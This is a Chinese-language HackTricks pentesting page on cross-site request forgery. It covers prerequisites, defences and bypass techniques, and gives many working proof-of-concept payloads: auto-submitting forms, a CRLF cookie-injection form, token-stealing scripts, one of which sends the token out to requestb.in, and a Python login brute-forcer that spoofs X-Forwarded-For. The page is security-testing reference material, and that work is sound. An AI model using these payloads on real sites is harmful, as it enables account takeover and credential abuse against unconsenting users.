hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

608 lines
24 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CSRF跨站请求伪造
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解及时了解快节奏的黑客世界
**最新公告**\
随时了解最新的赏金任务发布和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
## 解释跨站请求伪造CSRF
**跨站请求伪造CSRF**是一种在Web应用程序中发现的安全漏洞类型。它使攻击者能够利用受害用户的已验证会话代表其执行操作。当登录到受害者平台的用户访问恶意站点时攻击就会执行。然后该站点通过执行JavaScript、提交表单或获取图像等方法触发对受害者帐户的请求。
### CSRF攻击的先决条件
要利用CSRF漏洞必须满足几个条件
1. **识别有价值的操作**:攻击者需要找到值得利用的操作,例如更改用户的密码、电子邮件或提升权限。
2. **会话管理**用户的会话应仅通过cookie或HTTP基本身份验证标头管理因为其他标头无法用于此目的进行操作。
3. **无法预测的参数**:请求不应包含无法预测的参数,因为这些参数可能会阻止攻击。
### 防御CSRF攻击
可以实施多种对策来防御CSRF攻击
* [**SameSite cookies**](hacking-with-cookies/#samesite)此属性可防止浏览器将cookie与跨站请求一起发送。[了解更多关于SameSite cookies的信息](hacking-with-cookies/#samesite)。
* [**跨域资源共享**](cors-bypass.md)受害站点的CORS策略可能影响攻击的可行性特别是如果攻击需要读取受害站点的响应。[了解有关CORS绕过的信息](cors-bypass.md)。
* **用户验证**:提示用户输入密码或解决验证码可以确认用户的意图。
* **检查引用者或来源标头**验证这些标头可以帮助确保请求来自受信任的来源。但是精心构造URL可能会绕过实施不良的检查例如
- 使用`http://mal.net?orig=http://example.com`URL以受信任的URL结尾
- 使用`http://example.com.mal.net`URL以受信任的URL开头
* **修改参数名称**更改POST或GET请求中参数的名称可以帮助防止自动化攻击。
* **CSRF令牌**在每个会话中加入唯一的CSRF令牌并要求在后续请求中使用此令牌可以显著减轻CSRF的风险。通过强制执行CORS可以增强令牌的有效性。
了解并实施这些防御措施对于维护Web应用程序的安全性和完整性至关重要。
## 防御绕过
### 从POST到GET
也许您想要滥用的表单准备发送**带有CSRF令牌的POST请求**,但是,您应该**检查**是否**GET**也是**有效的**以及当您发送GET请求时**CSRF令牌是否仍在验证**。
### 缺少令牌
应用程序可能会实施一种机制,在出现令牌时**验证令牌**。但是,如果在令牌缺失时完全跳过验证,则会出现漏洞。攻击者可以通过**删除携带令牌的参数**而不仅仅是其值来利用这一点。这使他们可以规避验证过程并有效地执行跨站请求伪造CSRF攻击。
### CSRF令牌未绑定到用户会话
应用程序**未将CSRF令牌绑定到用户会话**会带来重大的**安全风险**。这些系统会对全局池中的令牌进行验证,而不是确保每个令牌都绑定到发起会话。
以下是攻击者如何利用这一点的方法:
1. 使用自己的帐户**进行身份验证**。
2. 从全局池中**获取有效的CSRF令牌**。
3. **使用此令牌**对受害者进行CSRF攻击。
此漏洞允许攻击者代表受害者进行未经授权的请求,利用应用程序的**不足的令牌验证机制**。
### 方法绕过
如果请求使用了一个“**奇怪的**”**方法**,请检查**方法**覆盖功能是否有效。
例如,如果**使用PUT**方法,您可以尝试**使用POST**方法并**发送**_https://example.com/my/dear/api/val/num?**\_method=PUT**_
这也可以通过在POST请求中发送**\_method参数**或使用**标头**来实现:
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
### 自定义标头令牌绕过
如果请求在请求中添加了一个带有**令牌**的**自定义标头**作为**CSRF保护方法**,那么:
* 测试不带**自定义令牌和标头**的请求。
* 使用**完全相同长度但不同令牌**测试请求。
### CSRF令牌由cookie验证
应用程序可能通过在cookie和请求参数中复制令牌或通过设置CSRF cookie并验证后端发送的令牌来实现CSRF保护。应用程序通过检查请求参数中的令牌是否与cookie中的值对齐来验证请求。
但是如果网站存在漏洞允许攻击者在受害者的浏览器中设置CSRF cookie例如CRLF漏洞那么此方法容易受到CSRF攻击。攻击者可以通过加载设置cookie的欺骗性图像然后发起CSRF攻击来利用这一点。
以下是攻击可能构建的示例:
```html
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
```
{% hint style="info" %}
请注意,如果 **csrf token 与会话 cookie 相关联**,则此攻击将无效,因为您需要将受害者设置为您的会话,因此您将攻击自己。
{% endhint %}
### Content-Type 更改
根据[**此链接**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests),为了**避免预检请求**使用 **POST** 方法,这些是允许的 Content-Type 值:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
但是,请注意,**服务器逻辑可能会有所不同**取决于使用的 **Content-Type**,因此您应该尝试提到的值和其他值,如 **`application/json`****`text/xml`****`application/xml`**_._
示例(来自[此处](https://brycec.me/posts/corctf\_2021\_challenges))将 JSON 数据发送为 text/plain
```html
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
```
### 绕过预检请求以获取JSON数据
在尝试通过POST请求发送JSON数据时在HTML表单中使用 `Content-Type: application/json` 是不直接可能的。同样,利用 `XMLHttpRequest` 发送此内容类型会启动一个预检请求。尽管如此仍然有策略可以潜在地绕过这种限制并检查服务器是否处理JSON数据而不考虑Content-Type
1. **使用替代内容类型**:通过在表单中设置 `enctype="text/plain"`,使用 `Content-Type: text/plain``Content-Type: application/x-www-form-urlencoded`。这种方法测试后端是否使用数据而不考虑Content-Type。
2. **修改内容类型**为了避免预检请求同时确保服务器将内容识别为JSON您可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求,但如果服务器配置为接受 `application/json`,则可能会被正确处理。
3. **SWF Flash文件利用**一种较不常见但可行的方法涉及使用SWF Flash文件来绕过此类限制。要深入了解此技术请参考[此文章](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
### 绕过引用者/来源检查
**避免引用者头部**
应用程序可能仅在存在时验证 'Referer' 头部。为了防止浏览器发送此头部可以使用以下HTML meta标签
```xml
<meta name="referrer" content="never">
```
这样可以确保省略“Referer”标头从而可能绕过某些应用程序中的验证检查。
**正则表达式绕过**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
要在URL中设置服务器的域名以便Referrer将其发送到参数内您可以执行
```html
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
```
### **HEAD方法绕过**
[**这篇CTF解密**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)的第一部分解释了[Oak的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为**将HEAD请求处理为无响应主体的GET请求** - 这是一个常见的解决方法不仅仅适用于Oak。而不是一个专门处理HEAD请求的处理程序它们**只是被传递给GET处理程序但应用程序会删除响应主体**。
因此如果GET请求受限您可以**发送一个将被处理为GET请求的HEAD请求**。
## **利用示例**
### **窃取CSRF令牌**
如果正在使用**CSRF令牌**作为**防御**,您可以尝试通过利用[XSS](xss-cross-site-scripting/#xss-stealing-csrf-tokens)漏洞或[悬挂标记](dangling-markup-html-scriptless-injection/)漏洞**窃取它**。
### **使用HTML标签进行GET**
```xml
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
其他可以用来自动发送GET请求的HTML5标签有
```html
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">
```
### 表单GET请求
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### 表单POST请求
```html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
```
### 通过iframe进行表单POST请求
```html
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### **Ajax POST 请求**
```html
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>
```
### multipart/form-data POST 请求
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### multipart/form-data POST 请求 v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### 从iframe内部发起的表单POST请求
```html
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **窃取 CSRF 令牌并发送 POST 请求**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **窃取 CSRF 令牌并使用 iframe、表单和 Ajax 发送 Post 请求**
```html
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
```
### **窃取 CSRF 令牌并使用 iframe 和表单发送 POST 请求**
```html
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
```
### **窃取令牌并使用2个iframe发送**
```html
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
```
### **通过Ajax窃取CSRF令牌并使用表单发送POST请求**
```html
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
```
### 使用 Socket.IO 进行 CSRF
```html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
```
## CSRF登录暴力破解
该代码可用于使用CSRF令牌对登录表单进行暴力破解还使用了头部X-Forwarded-For尝试绕过可能的IP黑名单
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## 工具 <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## 参考资料
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
**黑客见解**\
参与深入探讨黑客活动的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解了解快节奏的黑客世界
**最新公告**\
了解最新的赏金计划发布和重要平台更新
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的 **公司广告****下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向 **HackTricks****HackTricks Cloud** 的 GitHub 仓库提交 PR 来分享您的黑客技巧。
</details>